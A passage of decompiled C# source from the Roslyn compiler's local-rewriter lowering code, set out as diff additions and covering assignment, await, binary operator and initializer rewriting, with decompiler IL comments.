BoundBadExpression(syntax, LookupResultKind.NotReferencable, ImmutableArray.Empty, children, resultType); + } + + private bool TryGetWellKnownTypeMember(SyntaxNode? syntax, WellKnownMember member, out TSymbol symbol, bool isOptional = false, Location? location = null) where TSymbol : Symbol + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation compilation = _compilation; + BindingDiagnosticBag diagnostics = _diagnostics; + bool isOptional2 = isOptional; + symbol = (TSymbol)Binder.GetWellKnownTypeMember(compilation, member, diagnostics, location, syntax, isOptional2); + return (object)symbol != null; + } + + private MethodSymbol UnsafeGetSpecialTypeMethod(SyntaxNode syntax, SpecialMember specialMember) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return UnsafeGetSpecialTypeMethod(syntax, specialMember, _compilation, _diagnostics); + } + + private static MethodSymbol UnsafeGetSpecialTypeMethod(SyntaxNode syntax, SpecialMember specialMember, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (TryGetSpecialTypeMethod(syntax, specialMember, compilation, diagnostics, out MethodSymbol method)) + { + return method; + } + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(specialMember); + SpecialType type = (SpecialType)(sbyte)descriptor.DeclaringTypeId; + NamedTypeSymbol specialType = compilation.Assembly.GetSpecialType(type); + TypeSymbol returnType = new ExtendedErrorTypeSymbol(compilation, descriptor.Name, descriptor.Arity, null); + return new ErrorMethodSymbol(specialType, returnType, "Missing"); + } + + private bool TryGetSpecialTypeMethod(SyntaxNode syntax, SpecialMember specialMember, out MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return TryGetSpecialTypeMethod(syntax, specialMember, _compilation, _diagnostics, out method); + } + + private static bool TryGetSpecialTypeMethod(SyntaxNode syntax, SpecialMember specialMember, CSharpCompilation compilation, BindingDiagnosticBag diagnostics, out MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Binder.TryGetSpecialTypeMember(compilation, specialMember, syntax, diagnostics, out method); + } + + public override BoundNode VisitTypeOfOperator(BoundTypeOfOperator node) + { + BoundTypeExpression sourceType = (BoundTypeExpression)Visit(node.SourceType); + TypeSymbol type = VisitType(node.Type); + if (!TryGetWellKnownTypeMember(node.Syntax, (WellKnownMember)42, out var symbol)) + { + return new BoundTypeOfOperator(node.Syntax, sourceType, null, type, hasErrors: true); + } + return node.Update(sourceType, symbol, type); + } + + public override BoundNode VisitRefTypeOperator(BoundRefTypeOperator node) + { + BoundExpression operand = VisitExpression(node.Operand); + TypeSymbol type = VisitType(node.Type); + if (!TryGetWellKnownTypeMember(node.Syntax, (WellKnownMember)42, out var symbol)) + { + return new BoundRefTypeOperator(node.Syntax, operand, null, type, hasErrors: true); + } + return node.Update(operand, symbol, type); + } + + private BoundStatement? RewriteFieldOrPropertyInitializer(BoundStatement initializer) + { + ArrayBuilder additionalLocals = _additionalLocals; + if (additionalLocals == null) + { + _additionalLocals = ArrayBuilder.GetInstance(); + } + try + { + if (initializer.Kind == BoundKind.Block) + { + BoundBlock boundBlock = (BoundBlock)initializer; + BoundStatement item = RewriteExpressionStatement((BoundExpressionStatement)boundBlock.Statements.Single(), suppressInstrumentation: true); + ImmutableArray locals = boundBlock.Locals; + if (additionalLocals == null) + { + locals = locals.AddRange((IEnumerable)_additionalLocals); + } + return boundBlock.Update(locals, boundBlock.LocalFunctions, boundBlock.HasUnsafeModifier, boundBlock.Instrumentation, ImmutableArray.Create(item)); + } + BoundStatement boundStatement = RewriteExpressionStatement((BoundExpressionStatement)initializer, suppressInstrumentation: true); + if (boundStatement == null || additionalLocals != null || _additionalLocals.Count == 0) + { + return boundStatement; + } + return new BoundBlock(boundStatement.Syntax, _additionalLocals.ToImmutable(), ImmutableArray.Create(boundStatement)); + } + finally + { + if (additionalLocals == null) + { + _additionalLocals.Free(); + _additionalLocals = additionalLocals; + } + } + } + + public override BoundNode VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Invalid comparison between Unknown and I4 + ImmutableArray statements = node.Statements; + ArrayBuilder instance = ArrayBuilder.GetInstance(node.Statements.Length); + ImmutableArray.Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + if (IsFieldOrPropertyInitializer(current)) + { + instance.Add(RewriteFieldOrPropertyInitializer(current)); + } + else + { + instance.Add(VisitStatement(current)); + } + } + int num = 0; + bool flag = (int)((CompilationOptions)_compilation.Options).OptimizationLevel == 1; + for (int i = 0; i < instance.Count; i++) + { + BoundStatement boundStatement = instance[i]; + if (boundStatement == null || (flag && IsFieldOrPropertyInitializer(statements[i]) && ShouldOptimizeOutInitializer(boundStatement))) + { + num++; + MethodSymbol? currentFunction = _factory.CurrentFunction; + if ((object)currentFunction != null && !currentFunction.IsStatic) + { + instance[i] = null; + } + } + } + ImmutableArray statements2; + if (num == instance.Count) + { + statements2 = ImmutableArray.Empty; + instance.Free(); + } + else + { + int num2 = 0; + for (int j = 0; j < instance.Count; j++) + { + BoundStatement boundStatement2 = instance[j]; + if (boundStatement2 == null) + { + continue; + } + if (IsFieldOrPropertyInitializer(statements[j])) + { + BoundStatement boundStatement3 = statements[j]; + if (Instrument && !boundStatement3.WasCompilerGenerated) + { + boundStatement2 = Instrumenter.InstrumentFieldOrPropertyInitializer(boundStatement3, boundStatement2); + } + } + instance[num2] = boundStatement2; + num2++; + } + instance.Count = num2; + statements2 = instance.ToImmutableAndFree(); + } + return new BoundStatementList(node.Syntax, statements2, node.HasErrors); + } + + public override BoundNode VisitArrayAccess(BoundArrayAccess node) + { + if (node.Indices.Length != 1) + { + return base.VisitArrayAccess(node); + } + TypeSymbol? left = VisitType(node.Indices[0].Type); + SyntheticBoundNodeFactory factory = _factory; + if (TypeSymbol.Equals(left, _compilation.GetWellKnownType((WellKnownType)285), (TypeCompareKind)0)) + { + TypeWithAnnotations elementTypeWithAnnotations = ((ArrayTypeSymbol)node.Expression.Type).ElementTypeWithAnnotations; + return factory.Call(null, factory.WellKnownMethod((WellKnownMember)127).Construct(ImmutableArray.Create(elementTypeWithAnnotations)), ImmutableArray.Create(VisitExpression(node.Expression), VisitExpression(node.Indices[0]))); + } + return base.VisitArrayAccess(node); + } + + internal static bool IsFieldOrPropertyInitializer(BoundStatement initializer) + { + SyntaxNode syntax = initializer.Syntax; + if (syntax.IsKind(SyntaxKind.Parameter)) + { + return true; + } + if (syntax is ExpressionSyntax expressionSyntax) + { + CSharpSyntaxNode parent = expressionSyntax.Parent; + if (parent != null && parent.Kind() == SyntaxKind.EqualsValueClause) + { + SyntaxKind syntaxKind = parent.Parent.Kind(); + if (syntaxKind == SyntaxKind.VariableDeclarator || syntaxKind == SyntaxKind.PropertyDeclaration) + { + BoundKind kind = initializer.Kind; + if (kind != BoundKind.Block) + { + if (kind == BoundKind.ExpressionStatement) + { + goto IL_00a2; + } + } + else + { + BoundBlock boundBlock = (BoundBlock)initializer; + if (boundBlock.Statements.Length == 1) + { + initializer = boundBlock.Statements.First(); + if (initializer.Kind == BoundKind.ExpressionStatement) + { + goto IL_00a2; + } + } + } + } + } + } + return false; + IL_00a2: + return ((BoundExpressionStatement)initializer).Expression.Kind == BoundKind.AssignmentOperator; + } + + private static bool ShouldOptimizeOutInitializer(BoundStatement initializer) + { + if (initializer.Kind != BoundKind.ExpressionStatement) + { + return false; + } + if (!(((BoundExpressionStatement)initializer).Expression is BoundAssignmentOperator boundAssignmentOperator)) + { + return false; + } + FieldSymbol fieldSymbol = ((BoundFieldAccess)boundAssignmentOperator.Left).FieldSymbol; + if (!fieldSymbol.IsStatic && fieldSymbol.ContainingType.IsStructType()) + { + return false; + } + return boundAssignmentOperator.Right.IsDefaultValue(); + } + + internal static bool CanBePassedByReference(BoundExpression expr) + { + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_020f: Invalid comparison between Unknown and I4 + //IL_021d: Unknown result type (might be due to invalid IL or missing references) + //IL_0223: Invalid comparison between Unknown and I4 + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + //IL_01fb: Invalid comparison between Unknown and I4 + //IL_024c: Unknown result type (might be due to invalid IL or missing references) + //IL_0251: Unknown result type (might be due to invalid IL or missing references) + //IL_0253: Unknown result type (might be due to invalid IL or missing references) + //IL_025a: Invalid comparison between Unknown and I4 + //IL_025c: Unknown result type (might be due to invalid IL or missing references) + //IL_0263: Invalid comparison between Unknown and I4 + if (expr.ConstantValueOpt != (ConstantValue)null) + { + return false; + } + switch (expr.Kind) + { + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.RefValueOperator: + case BoundKind.ArrayAccess: + case BoundKind.ThisReference: + case BoundKind.Local: + case BoundKind.PseudoVariable: + case BoundKind.Parameter: + case BoundKind.DiscardExpression: + return true; + case BoundKind.DeconstructValuePlaceholder: + return true; + case BoundKind.InterpolatedStringArgumentPlaceholder: + return true; + case BoundKind.InterpolatedStringHandlerPlaceholder: + return true; + case BoundKind.CollectionExpressionSpreadExpressionPlaceholder: + return true; + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + if (boundEventAccess.IsUsableAsField) + { + if (boundEventAccess.EventSymbol.IsStatic) + { + return true; + } + if (boundEventAccess.ReceiverOpt.Type.IsValueType) + { + return CanBePassedByReference(boundEventAccess.ReceiverOpt); + } + return true; + } + return false; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + if (!boundFieldAccess.FieldSymbol.IsStatic) + { + if (boundFieldAccess.ReceiverOpt.Type.IsValueType) + { + return CanBePassedByReference(boundFieldAccess.ReceiverOpt); + } + return true; + } + return true; + } + case BoundKind.Sequence: + return CanBePassedByReference(((BoundSequence)expr).Value); + case BoundKind.AssignmentOperator: + return ((BoundAssignmentOperator)expr).IsRef; + case BoundKind.ConditionalOperator: + return ((BoundConditionalOperator)expr).IsRef; + case BoundKind.Call: + return (int)((BoundCall)expr).Method.RefKind > 0; + case BoundKind.PropertyAccess: + return (int)((BoundPropertyAccess)expr).PropertySymbol.RefKind > 0; + case BoundKind.IndexerAccess: + return (int)((BoundIndexerAccess)expr).Indexer.RefKind > 0; + case BoundKind.ImplicitIndexerAccess: + return CanBePassedByReference(((BoundImplicitIndexerAccess)expr).IndexerOrSliceAccess); + case BoundKind.ImplicitIndexerReceiverPlaceholder: + return true; + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + if (boundInlineArrayAccess != null && !boundInlineArrayAccess.IsValue) + { + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + if ((int)getItemOrSliceHelper == 400 || (int)getItemOrSliceHelper == 406) + { + return true; + } + } + return false; + } + case BoundKind.ImplicitIndexerValuePlaceholder: + return false; + case BoundKind.ListPatternReceiverPlaceholder: + case BoundKind.ListPatternIndexPlaceholder: + case BoundKind.SlicePatternReceiverPlaceholder: + case BoundKind.SlicePatternRangePlaceholder: + throw ExceptionUtilities.UnexpectedValue((object)expr.Kind); + case BoundKind.Conversion: + if (expr is BoundConversion { Conversion: { IsInterpolatedStringHandler: not false } } boundConversion) + { + TypeSymbol type = boundConversion.Type; + if ((object)type != null) + { + return type.IsValueType; + } + } + return false; + default: + return false; + } + } + + private void CheckRefReadOnlySymbols(MethodSymbol symbol) + { + if (symbol.ReturnsByRefReadonly || symbol.Parameters.Any((ParameterSymbol p) => (int)p.RefKind == 3)) + { + _factory.CompilationState.ModuleBuilderOpt?.EnsureIsReadOnlyAttributeExists(); + } + } + + private CompoundUseSiteInfo GetNewCompoundUseSiteInfo() + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return new CompoundUseSiteInfo((BindingDiagnosticBag)(object)_diagnostics, _compilation.Assembly); + } + + public override BoundNode VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + return new BoundObjectCreationExpression(node.Syntax, node.Constructor, arguments, default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), null, null, node.Type); + } + + public override BoundNode VisitAsOperator(BoundAsOperator node) + { + BoundExpression rewrittenOperand = VisitExpression(node.Operand); + BoundTypeExpression rewrittenTargetType = (BoundTypeExpression)VisitTypeExpression(node.TargetType); + TypeSymbol rewrittenType = VisitType(node.Type); + return MakeAsOperator(node, node.Syntax, rewrittenOperand, rewrittenTargetType, node.OperandPlaceholder, node.OperandConversion, rewrittenType); + } + + public override BoundNode VisitTypeExpression(BoundTypeExpression node) + { + return base.VisitTypeExpression(node); + } + + private BoundExpression MakeAsOperator(BoundAsOperator oldNode, SyntaxNode syntax, BoundExpression rewrittenOperand, BoundTypeExpression rewrittenTargetType, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, TypeSymbol rewrittenType) + { + if (!_inExpressionLambda) + { + Conversion conversion = BoundNode.GetConversion(operandConversion, operandPlaceholder); + ConstantValue asOperatorConstantResult = Binder.GetAsOperatorConstantResult(rewrittenOperand.Type, rewrittenType, conversion.Kind, rewrittenOperand.ConstantValueOpt); + if (asOperatorConstantResult != (ConstantValue)null) + { + if (asOperatorConstantResult.IsBad) + { + throw ExceptionUtilities.UnexpectedValue((object)asOperatorConstantResult); + } + BoundExpression boundExpression = (rewrittenType.IsNullableType() ? new BoundDefaultExpression(syntax, rewrittenType) : MakeLiteral(syntax, asOperatorConstantResult, rewrittenType)); + if (rewrittenOperand.ConstantValueOpt != (ConstantValue)null) + { + return boundExpression; + } + return new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(rewrittenOperand), boundExpression, rewrittenType); + } + if (conversion.IsImplicit) + { + AddPlaceholderReplacement(operandPlaceholder, rewrittenOperand); + BoundExpression? result = VisitExpression(operandConversion); + RemovePlaceholderReplacement(operandPlaceholder); + return result; + } + } + return oldNode.Update(rewrittenOperand, rewrittenTargetType, null, null, rewrittenType); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + return VisitAssignmentOperator(node, used: true); + } + + private BoundExpression VisitAssignmentOperator(BoundAssignmentOperator node, bool used) + { + BoundExpression boundExpression = VisitExpression(node.Right); + BoundExpression left = node.Left; + BoundExpression rewrittenLeft; + switch (left.Kind) + { + case BoundKind.PropertyAccess: + rewrittenLeft = VisitPropertyAccess((BoundPropertyAccess)left, isLeftOfAssignment: true); + break; + case BoundKind.IndexerAccess: + rewrittenLeft = VisitIndexerAccess((BoundIndexerAccess)left, isLeftOfAssignment: true); + break; + case BoundKind.ImplicitIndexerAccess: + rewrittenLeft = VisitImplicitIndexerAccess((BoundImplicitIndexerAccess)left, isLeftOfAssignment: true); + break; + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)left; + if (boundEventAccess.EventSymbol.IsWindowsRuntimeEvent) + { + return VisitWindowsRuntimeEventFieldAssignmentOperator(node.Syntax, boundEventAccess, boundExpression); + } + goto default; + } + case BoundKind.DynamicMemberAccess: + { + BoundDynamicMemberAccess boundDynamicMemberAccess = (BoundDynamicMemberAccess)left; + BoundExpression loweredReceiver2 = VisitExpression(boundDynamicMemberAccess.Receiver); + return _dynamicFactory.MakeDynamicSetMember(loweredReceiver2, boundDynamicMemberAccess.Name, boundExpression).ToExpression(); + } + case BoundKind.DynamicIndexerAccess: + { + BoundDynamicIndexerAccess boundDynamicIndexerAccess = (BoundDynamicIndexerAccess)left; + BoundExpression loweredReceiver = VisitExpression(boundDynamicIndexerAccess.Receiver); + ImmutableArray loweredArguments = VisitList(boundDynamicIndexerAccess.Arguments); + return MakeDynamicSetIndex(boundDynamicIndexerAccess, loweredReceiver, loweredArguments, boundDynamicIndexerAccess.ArgumentNamesOpt, boundDynamicIndexerAccess.ArgumentRefKindsOpt, boundExpression); + } + default: + rewrittenLeft = VisitExpression(left); + break; + } + return MakeStaticAssignmentOperator(node.Syntax, rewrittenLeft, boundExpression, node.IsRef, node.Type, used); + } + + private BoundExpression MakeAssignmentOperator(SyntaxNode syntax, BoundExpression rewrittenLeft, BoundExpression rewrittenRight, TypeSymbol type, bool used, bool isChecked, bool isCompoundAssignment) + { + switch (rewrittenLeft.Kind) + { + case BoundKind.DynamicIndexerAccess: + { + BoundDynamicIndexerAccess boundDynamicIndexerAccess = (BoundDynamicIndexerAccess)rewrittenLeft; + return MakeDynamicSetIndex(boundDynamicIndexerAccess, boundDynamicIndexerAccess.Receiver, boundDynamicIndexerAccess.Arguments, boundDynamicIndexerAccess.ArgumentNamesOpt, boundDynamicIndexerAccess.ArgumentRefKindsOpt, rewrittenRight, isCompoundAssignment, isChecked); + } + case BoundKind.DynamicMemberAccess: + { + BoundDynamicMemberAccess boundDynamicMemberAccess = (BoundDynamicMemberAccess)rewrittenLeft; + return _dynamicFactory.MakeDynamicSetMember(boundDynamicMemberAccess.Receiver, boundDynamicMemberAccess.Name, rewrittenRight, isCompoundAssignment, isChecked).ToExpression(); + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)rewrittenLeft; + if (boundEventAccess.EventSymbol.IsWindowsRuntimeEvent) + { + return RewriteWindowsRuntimeEventAssignmentOperator(boundEventAccess.Syntax, boundEventAccess.EventSymbol, EventAssignmentKind.Assignment, boundEventAccess.ReceiverOpt, rewrittenRight); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_AssignmentOperator.cs", 132); + } + default: + return MakeStaticAssignmentOperator(syntax, rewrittenLeft, rewrittenRight, isRef: false, type, used); + } + } + + private BoundExpression MakeDynamicSetIndex(BoundDynamicIndexerAccess indexerAccess, BoundExpression loweredReceiver, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds, BoundExpression loweredRight, bool isCompoundAssignment = false, bool isChecked = false) + { + EmbedIfNeedTo(loweredReceiver, indexerAccess.ApplicableIndexers, indexerAccess.Syntax); + return _dynamicFactory.MakeDynamicSetIndex(MakeDynamicIndexerAccessReceiver(indexerAccess, loweredReceiver), loweredArguments, argumentNames, refKinds, loweredRight, isCompoundAssignment, isChecked).ToExpression(); + } + + private BoundExpression MakeStaticAssignmentOperator(SyntaxNode syntax, BoundExpression rewrittenLeft, BoundExpression rewrittenRight, bool isRef, TypeSymbol type, bool used) + { + switch (rewrittenLeft.Kind) + { + case BoundKind.DynamicMemberAccess: + case BoundKind.DynamicIndexerAccess: + throw ExceptionUtilities.UnexpectedValue((object)rewrittenLeft.Kind); + case BoundKind.PropertyAccess: + { + BoundPropertyAccess obj = (BoundPropertyAccess)rewrittenLeft; + BoundExpression receiverOpt2 = obj.ReceiverOpt; + PropertySymbol propertySymbol = obj.PropertySymbol; + return MakePropertyAssignment(syntax, receiverOpt2, propertySymbol, ImmutableArray.Empty, default(ImmutableArray), expanded: false, default(ImmutableArray), rewrittenRight, type, used); + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)rewrittenLeft; + BoundExpression receiverOpt = boundIndexerAccess.ReceiverOpt; + ImmutableArray arguments = boundIndexerAccess.Arguments; + PropertySymbol indexer = boundIndexerAccess.Indexer; + return MakePropertyAssignment(syntax, receiverOpt, indexer, arguments, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.Expanded, boundIndexerAccess.ArgsToParamsOpt, rewrittenRight, type, used); + } + case BoundKind.Local: + case BoundKind.Parameter: + case BoundKind.FieldAccess: + return _factory.AssignmentExpression(syntax, rewrittenLeft, rewrittenRight, type, isRef); + case BoundKind.DiscardExpression: + return rewrittenRight; + case BoundKind.Sequence: + { + BoundSequence boundSequence = (BoundSequence)rewrittenLeft; + if (boundSequence.Value.Kind == BoundKind.IndexerAccess) + { + return boundSequence.Update(boundSequence.Locals, boundSequence.SideEffects, MakeStaticAssignmentOperator(syntax, boundSequence.Value, rewrittenRight, isRef, type, used), type); + } + break; + } + } + return _factory.AssignmentExpression(syntax, rewrittenLeft, rewrittenRight, type); + } + + private BoundExpression MakePropertyAssignment(SyntaxNode syntax, BoundExpression? rewrittenReceiver, PropertySymbol property, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BoundExpression rewrittenRight, TypeSymbol type, bool used) + { + MethodSymbol ownOrInheritedSetMethod = property.GetOwnOrInheritedSetMethod(); + if ((object)ownOrInheritedSetMethod == null) + { + SynthesizedBackingFieldSymbol backingField = ((SourcePropertySymbolBase)property.OriginalDefinition).BackingField; + return _factory.AssignmentExpression(_factory.Field(rewrittenReceiver, backingField), rewrittenRight); + } + ArrayBuilder tempsOpt = null; + arguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, arguments, property, argsToParamsOpt, argumentRefKindsOpt, null, ref tempsOpt); + arguments = MakeArguments(syntax, arguments, property, expanded, argsToParamsOpt, ref argumentRefKindsOpt, ref tempsOpt); + ImmutableArray immutableArray = tempsOpt.ToImmutableAndFree(); + if (used) + { + TypeSymbol type2 = rewrittenRight.Type; + LocalSymbol localSymbol = _factory.SynthesizedLocal(type2, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression boundExpression = new BoundLocal(syntax, localSymbol, null, type2); + BoundExpression newElement = new BoundAssignmentOperator(syntax, boundExpression, rewrittenRight, type2); + BoundExpression item = BoundCall.Synthesized(syntax, rewrittenReceiver, (ThreeState)0, ownOrInheritedSetMethod, AppendToPossibleNull(arguments, newElement)); + return new BoundSequence(syntax, AppendToPossibleNull(immutableArray, localSymbol), ImmutableArray.Create(item), boundExpression, type); + } + BoundCall boundCall = BoundCall.Synthesized(syntax, rewrittenReceiver, (ThreeState)0, ownOrInheritedSetMethod, AppendToPossibleNull(arguments, rewrittenRight)); + if (immutableArray.IsDefaultOrEmpty) + { + return boundCall; + } + return new BoundSequence(syntax, immutableArray, ImmutableArray.Empty, boundCall, ownOrInheritedSetMethod.ReturnType); + } + + private static ImmutableArray AppendToPossibleNull(ImmutableArray possibleNull, T newElement) where T : notnull + { + return ImmutableArrayExtensions.NullToEmpty(possibleNull).Add(newElement); + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + return VisitAwaitExpression(node, used: true); + } + + public BoundExpression VisitAwaitExpression(BoundAwaitExpression node, bool used) + { + return RewriteAwaitExpression((BoundExpression)base.VisitAwaitExpression(node), used); + } + + private BoundExpression RewriteAwaitExpression(SyntaxNode syntax, BoundExpression rewrittenExpression, BoundAwaitableInfo awaitableInfo, TypeSymbol type, BoundAwaitExpressionDebugInfo debugInfo, bool used) + { + return RewriteAwaitExpression(new BoundAwaitExpression(syntax, rewrittenExpression, awaitableInfo, debugInfo, type) + { + WasCompilerGenerated = true + }, used); + } + + private BoundExpression RewriteAwaitExpression(BoundExpression rewrittenAwait, bool used) + { + _sawAwait = true; + if (!used) + { + return rewrittenAwait; + } + _needsSpilling = true; + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(rewrittenAwait, out store, (RefKind)0, (SynthesizedLocalKind)28, isKnownToReferToTempIfReferenceType: false, rewrittenAwait.Syntax); + return new BoundSpillSequence(rewrittenAwait.Syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), boundLocal, boundLocal.Type); + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + return VisitBinaryOperator(node, null); + } + + public override BoundNode VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + SyntaxNode syntax = node.Syntax; + BinaryOperatorKind operatorKind = node.OperatorKind; + TypeSymbol type = node.Type; + BoundExpression boundExpression = VisitExpression(node.Left); + BoundExpression boundExpression2 = VisitExpression(node.Right); + if (_inExpressionLambda) + { + return node.Update(operatorKind, node.LogicalOperator, node.TrueOperator, node.FalseOperator, node.ConstrainedToTypeOpt, node.ResultKind, boundExpression, boundExpression2, type); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundCall rewrittenCondition = BoundCall.Synthesized(syntax, ((object)node.ConstrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, node.ConstrainedToTypeOpt), (ThreeState)0, (operatorKind.Operator() == BinaryOperatorKind.And) ? node.FalseOperator : node.TrueOperator, boundLocal); + BoundExpression rewrittenAlternative = LowerUserDefinedBinaryOperator(syntax, operatorKind & ~BinaryOperatorKind.Logical, boundLocal, boundExpression2, type, node.LogicalOperator, node.ConstrainedToTypeOpt); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, boundLocal, rewrittenAlternative, null, type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, type); + } + + public BoundExpression VisitBinaryOperator(BoundBinaryOperator node, BoundUnaryOperator? applyParentUnaryOperator) + { + InterpolatedStringHandlerData? interpolatedStringHandlerData = node.InterpolatedStringHandlerData; + if (interpolatedStringHandlerData.HasValue) + { + InterpolatedStringHandlerData valueOrDefault = interpolatedStringHandlerData.GetValueOrDefault(); + ImmutableArray parts = CollectBinaryOperatorInterpolatedStringParts(node); + return LowerPartsToString(valueOrDefault, parts, node.Syntax, node.Type); + } + if (node.OperatorKind == BinaryOperatorKind.Utf8Addition) + { + return VisitUtf8Addition(node); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundBinaryOperator boundBinaryOperator = node; + while (boundBinaryOperator != null && boundBinaryOperator.ConstantValueOpt == (ConstantValue)null && !boundBinaryOperator.InterpolatedStringHandlerData.HasValue && boundBinaryOperator.OperatorKind != BinaryOperatorKind.Utf8Addition) + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + boundBinaryOperator = boundBinaryOperator.Left as BoundBinaryOperator; + } + BoundExpression boundExpression = VisitExpression(ArrayBuilderExtensions.Peek(instance).Left); + while (instance.Count > 0) + { + BoundBinaryOperator boundBinaryOperator2 = ArrayBuilderExtensions.Pop(instance); + BoundExpression loweredRight = VisitExpression(boundBinaryOperator2.Right); + boundExpression = MakeBinaryOperator(boundBinaryOperator2, boundBinaryOperator2.Syntax, boundBinaryOperator2.OperatorKind, boundExpression, loweredRight, boundBinaryOperator2.Type, boundBinaryOperator2.Method, boundBinaryOperator2.ConstrainedToType, isPointerElementAccess: false, isCompoundAssignment: false, (instance.Count == 0) ? applyParentUnaryOperator : null); + } + instance.Free(); + return boundExpression; + } + + private static ImmutableArray CollectBinaryOperatorInterpolatedStringParts(BoundBinaryOperator node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + node.VisitBinaryOperatorInterpolatedString(instance, delegate(BoundInterpolatedString interpolatedString, ArrayBuilder partsBuilder) + { + partsBuilder.AddRange(interpolatedString.Parts); + return true; + }); + return instance.ToImmutableAndFree(); + } + + private BoundExpression MakeBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, bool isPointerElementAccess = false, bool isCompoundAssignment = false, BoundUnaryOperator? applyParentUnaryOperator = null) + { + return MakeBinaryOperator(null, syntax, operatorKind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt, isPointerElementAccess, isCompoundAssignment, applyParentUnaryOperator); + } + + private BoundExpression MakeBinaryOperator(BoundBinaryOperator? oldNode, SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt, bool isPointerElementAccess = false, bool isCompoundAssignment = false, BoundUnaryOperator? applyParentUnaryOperator = null) + { + if (_inExpressionLambda) + { + switch (operatorKind.Operator() | operatorKind.OperandTypes()) + { + case BinaryOperatorKind.StringConcatenation: + case BinaryOperatorKind.StringAndObjectConcatenation: + case BinaryOperatorKind.ObjectAndStringConcatenation: + return RewriteStringConcatenation(syntax, operatorKind, loweredLeft, loweredRight, type); + case BinaryOperatorKind.DelegateCombination: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)17); + case BinaryOperatorKind.DelegateRemoval: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)18); + case BinaryOperatorKind.DelegateEqual: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)19); + case BinaryOperatorKind.DelegateNotEqual: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)20); + } + } + else + { + if (operatorKind.IsDynamic()) + { + if (operatorKind.IsLogical()) + { + return MakeDynamicLogicalBinaryOperator(syntax, operatorKind, loweredLeft, loweredRight, method, constrainedToTypeOpt, type, isCompoundAssignment, applyParentUnaryOperator); + } + return 